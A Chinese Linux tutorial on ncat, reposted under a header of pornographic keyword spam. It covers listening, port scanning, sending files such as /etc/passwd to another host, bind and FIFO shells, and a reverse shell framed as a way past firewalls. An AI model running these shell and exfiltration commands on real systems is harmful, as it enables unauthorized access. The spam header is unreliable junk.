日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

【Linux】一步一步学Linux——ncat命令(159)

發布時間:2024/4/21 linux 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【Linux】一步一步学Linux——ncat命令(159) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

00. 目錄

文章目錄

    • 00. 目錄
    • 01. 命令概述
    • 02. 命令格式
    • 03. 常用選項
    • 04. 參考示例
    • 05. 附錄

01. 命令概述

ncat命令有著網絡界的瑞士軍刀美譽。因為它短小精悍、功能實用,被設計為一個簡單、可靠的網絡工具

ncat的作用

(1)實現任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口

(2)端口的掃描,nc可以作為client發起TCP或UDP連接

(3)機器之間傳輸文件

(4)機器之間網絡測速

02. 命令格式

格式:ncat [選項] [參數]

03. 常用選項

-g<網關>:設置路由器躍程通信網關,最多設置8個; -G<指向器數目>:設置來源路由指向器,其數值為4的倍數; -h:在線幫助; -i<延遲秒數>:設置時間間隔,以便傳送信息及掃描通信端口; -l:使用監聽模式,監控傳入的資料; -n:直接使用ip地址,而不通過域名服務器; -o<輸出文件>:指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存; -p<通信端口>:設置本地主機使用的通信端口; -r:指定源端口和目的端口都進行隨機的選擇; -s<來源位址>:設置本地主機送出數據包的IP地址; -u:使用UDP傳輸協議; -v:顯示指令執行過程; -w<超時秒數>:設置等待連線的時間; -z:使用0輸入/輸出模式,只在掃描通信端口時使用。

04. 參考示例

4.1 啟動TCP服務端,端口為9999

[root@localhost ~]# ncat -l 9999

或者

[deng@localhost ~]$ ncat -v -lp 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999

4.2 啟動TCP客戶端連接服務端

[root@localhost ~]# ncat 172.16.0.51 10086

或者

[deng@localhost ~]$ nc -v 172.16.0.76 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9999. hello itcast

服務端 IP:172.16.0.76

端口號:10086

4.3 啟動UDP服務端,端口9999

[deng@localhost ~]$ ncat -lu 9999

4.4 啟動UDP客戶端連接UDP服務端

[deng@localhost ~]$ ncat -u 172.16.0.51 10086 hello world

UDP服務端IP:172.16.0.51

UDP服務端端口:10086

4.5 作為客戶端工具進行端口探測

[deng@localhost ~]$ ncat -vzw 2 172.16.0.76 10086 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:10086. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds. [deng@localhost ~]$

或者

[deng@localhost ~]$ ncat -vz -w 2 172.16.0.76 10086 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:10086. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds. [deng@localhost ~]$

-v可視化,-z掃描時不發送數據,-w超時幾秒,后面跟數字

4.6 掃描連續端口

服務端執行

[deng@localhost ~]$ ncat -l 10086 & [1] 77654 [deng@localhost ~]$ ncat -l 10087 & [2] 77659 [deng@localhost ~]$

客戶端執行

[deng@localhost ~]$ ncat -vzw 2 172.16.0.76 10086-10087

4.7 使用ncat傳輸文件

服務端執行

[deng@localhost ~]$ ncat -l 1234 > txt [deng@localhost ~]$

客戶端執行

[root@localhost ~]# ncat 172.16.0.76 1234 < /etc/passwd [root@localhost ~]#

4.8 設置本地端口連接服務端

[root@localhost ~]# ncat -p 1234 -w 5 172.16.0.76 8888 hello world

4.9 模擬http協議首部

[root@localhost ~]# ncat www.baidu.com 80

4.10 掃描80端口

[root@localhost ~]# ncat -nv 172.16.0.76 80 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connection refused. [root@localhost ~]#

4.11 掃描UDP端口

[root@localhost ~]# ncat -u -z -w 2 172.16.0.76 1-1000 [root@localhost ~]#

4.12 掃描TCP端口

[root@localhost ~]# ncat -z -w 2 172.16.0.76 1-1000 [root@localhost ~]#

4.13 傳輸目錄

服務端

[root@localhost ~]# ncat -l 1234 | tar -xzvf -

客戶端

[deng@localhost ~]$ tar -czvf - /etc | ncat 172.16.0.76 1234

4.14 執行shell命令

我們可以使用遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝并且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。

ncat支持 -c -e 參數

服務端

[deng@localhost ~]$ ncat -v -c /bin/bash -lp 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:22730.

客戶端

[deng@localhost ~]$ ncat -v 172.16.0.76 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9999. ls

4.15 執行shell

如果ncat不支持-c 或者 -e 參數(openbsd ncat),我們仍然能夠創建遠程shell

服務端

[deng@localhost ~]$ mkfifo /tmp/fifo [deng@localhost ~]$ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -v -lp 9999 > /tmp/fifo Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:22732.

這里我們創建了一個fifo文件,然后使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,然后管道到ncat運行的端口9999上。至此,我們已經把ncat的輸出重定向到fifo文件中。

說明:

從網絡收到的輸入寫到fifo文件中

cat 命令讀取fifo文件并且其內容發送給bash命令

bash命令進程受到輸入并把它寫回到ncat。

ncat通過網絡發送輸出到client

至于為什么會成功是因為管道使命令平行執行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束并開始讀取空文件。

客戶端

[deng@localhost ~]$ ncat 172.16.0.76 9999 [deng@localhost ~]$ pwd pwd /home/deng [deng@localhost ~]$

4.16 反向shell

反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同于其他配置,這里服務器使用的是由客戶提供的服務。

服務端

[deng@localhost ~]$ ncat -v -lp 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:22736. pwd /home/deng

客戶端

[deng@localhost ~]$ ncat -v 172.16.0.76 9999 -c /bin/bash Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9999.

反向shell經常被用來繞過防火墻的限制,如阻止入站連接。

4.17 指定源端口

使用-p選項指定源端口。

服務端

[deng@localhost ~]$ ncat -v -lp 9998 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9998 Ncat: Listening on 0.0.0.0:9998 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:9999.

客戶端

[deng@localhost ~]$ ncat -v 172.16.0.76 9998 -p 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9998.

4.18 指定源地址

假設你的機器有多個地址,希望明確指定使用哪個地址用于外部數據通訊。我們可以在ncat中使用-s選項指定ip地址

服務端

[deng@localhost ~]$ ncat -v -lp 9998 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9998 Ncat: Listening on 0.0.0.0:9998 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:15827. hello world

客戶端

[deng@localhost ~]$ ncat -v 172.16.0.76 9998 -s 172.16.0.76 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9998. hello world

05. 附錄

參考:【Linux】一步一步學Linux系列教程匯總

參考:https://www.jianshu.com/p/9c2d8b1f0c5a

總結

以上是生活随笔為你收集整理的【Linux】一步一步学Linux——ncat命令(159)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。